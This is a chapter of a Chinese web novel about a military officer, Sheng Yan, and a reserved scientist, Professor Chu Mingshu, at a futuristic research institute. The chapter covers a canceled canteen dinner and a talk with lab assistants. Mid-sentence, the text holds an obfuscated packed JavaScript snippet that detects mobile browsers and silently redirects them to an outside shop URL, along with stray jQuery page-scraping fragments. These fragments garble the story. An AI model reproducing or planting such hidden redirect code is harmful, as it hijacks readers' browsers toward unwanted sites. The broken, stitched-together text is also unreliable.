楚明疏:【你在哪儿?】
看到通讯仪弹出来的消息,盛焰挑眉笑道:“说谁来谁。”
顿时有八个脑袋齐刷刷地凑了过来。
盛焰挥退她们:“看什么?”
邵祺一脸八卦道:“楚教授给你发什么了?”
“军事机密,那是能给你们看的?”
盛焰嘴上这么说,却也没真拦着她们,当着她们的面回复了消息。
盛焰:【在C2。怎么?有事吗?】
楚明疏:【你现在方便回一趟办公室吗?】
“哎哟喂!”邵祺率先起哄,撞着盛焰的肩膀道,“人家楚教授找你呢。”
盛焰春风得意地起身:“那我先走了各位。”
苏秉川不懂她们为什么要起哄,想吃个明白瓜,当即就要跟上去。
“我跟你一起回去。”
邵祺眼疾手快地拉住他:“干嘛呀苏工,跟我们待一会呗。”
“就是。”卢颖卓从另一边摁住他,“咱们再看看他们打针呗,这种热闹可遇不可求啊。”
苏秉川只好一脸遗憾地看着盛焰独自离去。
回到十楼办公室,盛焰先在门口整理了一下衣服,才敲了敲楚明疏的办公室门,道:“怎么了楚教授?找我有事?”
下午玩闹了一会有些热,盛焰来时没穿外套,白色衬衣收于制服西裤,领口两侧各有一枚金色的五角星徽,两臂上的袖箍绷着紧实的肌肉线条。
她姿态随意地倚在门边,衣服也朴素简单,可整个人看起来还是格外的干练有型。
楚明疏抬眼看向她时,目光不由定了一下,而后才起身:“是有点事。”
他绕过桌子朝门口走来,盛焰看他一步步走近,嘴角慢慢勾起一抹笑。
可他却眼也不错地略过她,径直走向了她办公室。
“方便让我进去一下吗?”他停在门口,转身问道。
盛焰微微蹙眉,看着开了一天压根没关的门,不明所以地“嗯”了一句。
楚明疏进了办公室,熟练地拿水壶去休息室里接了水,然后专心致志地站在窗边开始给绿植浇水。
盛焰以为他在酝酿开场白,便也没开口催他,只是倚着门框静静欣赏美男浇水的场景。
可等浇完水,楚明疏还是什么都没说,把水壶放回原位,朝盛焰点了下头就要走。
“没了?”等了半天一句话都没等到,盛焰错愕道,“你专门把我叫回来,就是为了给这几盆花浇水?”
楚明疏下意识科普道:“准确地说,这些并不是花——”
看见盛焰的表情,他识相地咽下了后头的那些专业术语,道:“有几株得浇水了,我看你一天都不在,不知道你晚上还会不会来。”
盛焰:“我这门不是一直开着呢么,你直接进来浇就好了呀。”
楚明疏认真解释道:“这里现在毕竟是属于你的办公室,没经过你的同意,我不能进来。”
盛焰看着他那副一本正经的样子,简直要被气笑了。
楚明疏看她的表情不对,道歉道:“如果耽误了你的事,抱歉。”
他这副诚诚恳恳的态度,反倒叫盛焰说不出什么了。
她抱臂打量着面前这个穿着白色工作服、干净到一丝不苟的男人,忍不住感慨道:“你们科学家都是这种性格吗?”
“嗯?”楚明疏不太明白她的意思。
“算了。”无趣到一定程度反而是别样的有趣,盛焰不再计较,“既然你说了抱歉,那为了补偿我,你请我吃顿饭吧?”
楚明疏顿了一下,点头道:“好。不过我一会儿还有些事情要处理,如果你想去研究所外面吃,我们就改天。如果食堂也行的话,我们现在就可以出发。”
改天还不知道是哪天,盛焰立马道:“好啊,那就食堂。”
楚明疏回去把工作服换成了一件黑色薄外套,关好门道:“走吧。”
盛焰这几日见到他时,他总是穿着工作服,看起来有种刻板的权威与严肃。
现在换上了常服,一股锐气和活力便在不经意间散发出来,让人恍然惊觉,这个对研究所来说宛如大家长的他,其实也还是个年轻人。
出了大楼,正是金乌西垂,天边一片霞光的好时候。
不同于其他地方的闷热,研究所里涌动的微风是刚刚好的清凉,盛焰和楚明疏并肩走在路上,闻到了他身上一点清淡的香味。
盛焰:“你用的什么香水?”
楚明疏不明所以地看着她:“我不用香水。”
“那你身上是什么味道?”盛焰侧过头去仔细闻了闻他身上的味道。
这个举动多少有些亲密,楚明疏不动声色地旁边靠了靠,道:“可能是衣物洗涤剂的味道吧。”
恰是晚饭时间,路上尽是去吃晚饭的人,时不时就会有人跟他们打招呼,盛焰注意到,大家对楚明疏似乎都是一种又敬又怕的感情。
其实这几天接触下来,盛焰觉得楚明疏也并非是严肃到不苟言笑的人,只是大多数人都被他表面那副样子唬住了,根本不敢跟他开玩笑。
盛焰总觉得,他就像一个未经开发的宝矿,了解越多,惊喜越多。
到了食堂,楚明疏带盛焰去了楼上的包间,悬浮屏自动出现在他们面前,问他们吃些什么。
“你选吧。”楚明疏示意让盛焰先选。
盛焰:“我初来乍到不知道什么好吃,还是你来选吧。”
楚明疏也不再推诿,问道:“有什么忌口吗?”
盛焰:“我不吃香菜和葱,不吃鸭肉。”
楚明疏点点头,很快点好了菜。
虽然已经来研究所几天了,盛焰却没正经在食堂里吃过几顿饭,不是项恒在公寓里给她们亲自下厨,就是吃晏菲家厨子送来的大餐,亦或是等外卖空投。
“楚上将最近身体还好吗?我上次见他时,他的旧伤好像还发作过。”等餐的间隙,盛焰主动挑起了话题。
楚明疏:“他现在恢复得不错,谢谢关心。”
盛焰:“你们平时做研究辛苦吗?”
楚明疏:“还可以。”
两个人一问一答,盛焰要是不问,楚明疏便也就不说话了。
盛焰看着楚明疏,默默喝了口水,思考一个能聊得下去的话题,可这时楚明疏的通讯仪却突然震动起来。
“不好意思,接个电话。”楚明疏起身走到窗边,听了两句,就挂断电话转身走了回来。
“实在抱歉,苏秉川那里出了一点状况,我现在得过去一趟。”楚明疏饱含歉意地说道。
想到苏秉川刚打完疫苗,盛焰问道:“是不是疫苗副作用开始发作了?”
楚明疏:“嗯。”
盛焰当即也准备起身:“我和你一起去看看吧。”
楚明疏僵了一瞬,罕见地露出了为难的表情:“可能……不是很方便。”
盛焰立马想到什么,慢慢坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812805|210936||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了回去:“哦,那你去吧,如果反应严重的话,还是要叫医生去看看。”
楚明疏点点头,刚要离开,又转过身道:“真的很抱歉,我改天再请你吃饭。”
盛焰朝他笑笑:“没关系,你快去吧。”
楚明疏离开后,盛焰自己一个人也没什么吃饭的兴致,就把楚明疏点的饭菜打包,准备带回去和行动队的人一起吃。
她下到食堂一楼,看到有刚打过疫苗的人正抱着手臂跟同伴哭疼,她笑着路过,目光却刚好注意到一个熟悉的身影。
“小杨?吃这么少?”
见杨伯山和楚明疏的研究助理们坐在一起吃饭,盛焰便想着顺便打个招呼,却见大家盘子里都是满满当当的食物,只有杨伯山盘子里的菜格外少,还基本都是汤。
“盛长官好!”
大家一见盛焰便纷纷惶恐地要起身打招呼,盛焰朝他们招招手,坐到杨伯山身边,示意他们别搞出这么大动静。
有个看起来就很健谈的男生接着盛焰刚刚的话道:“杨伯山已经进化到不用吃饭了,以前就吃得少,这几个月更是在食堂见不到他了,今天还是我们硬把他拽来的。”
另一个胖乎乎的男生道:“是啊,来了也就吃一点,我都怀疑他根本不用吃饭。”
杨伯山小声道:“我平时都在公寓里吃。”
最开始说话的男生直接揭穿了他:“你快拉倒吧,我上次给你送了一箱泡面,你一个月都没拆开吃。”
杨伯山埋着头不说话了,似乎是不知道怎么回答。
盛焰解围道:“我听说饥饿感可以让大脑保持清醒。”
那男生立马起哄道:“那也太过了吧,杨伯山你这么努力把我们置于何地?”
胖乎乎的男生附和道:“我明天开始也不吃饭了!”
“你怎么不从今天就开始?”
“不能浪费粮食嘛。”
“你快少吃点,减减肥吧!”
……
话题不经意间跑向了另一个方向,盛焰见机低声对杨伯山道:“再怎么也要注意身体啊,吃这么点哪行,要好好吃饭。”
杨伯山红着脸点了点头。
盛焰把打包的菜放到桌上:“刚好打包了一些菜,你们分着吃了吧。虽然要努力研究,但身体更重要,还是要好好吃饭,除了——”
盛焰指了指那个胖乎乎的男生:“你少吃点。”
大家哄笑起来,盛焰起身道:“你们吃,我先走了。”
“盛长官不一起吃点吗?”
盛焰朝他们招招手:“不了,你们慢慢吃,我走了。”
“盛长官再见!”
盛焰离开后,这一桌人立马兴高采烈地讨论起来。
“天哪,是谁之前说她作威作福横行霸道?明明就很随和啊。”
“就是,感觉人很好呢!我也是和少将说过话的人了!”
“哎杨伯山,你跟盛队长怎么认识的?她怎么还专门过来关照你?”
众多视线陡然齐聚在杨伯山身上,杨伯山低低地埋着头,道:“之前在实验区碰见过,她跟我聊了几句,我们也没有很熟。”
杨伯山惯来是三棒子打不出个闷屁的性格,众人也知道他不会再说些什么了,就不再追问下去,开始分食盛焰带来的食物,把肉菜都放到了杨伯山面前。
“快吃吧,盛长官给的菜。”
杨伯山点了点头,却看着面前成堆的食物,暗暗叹了口气。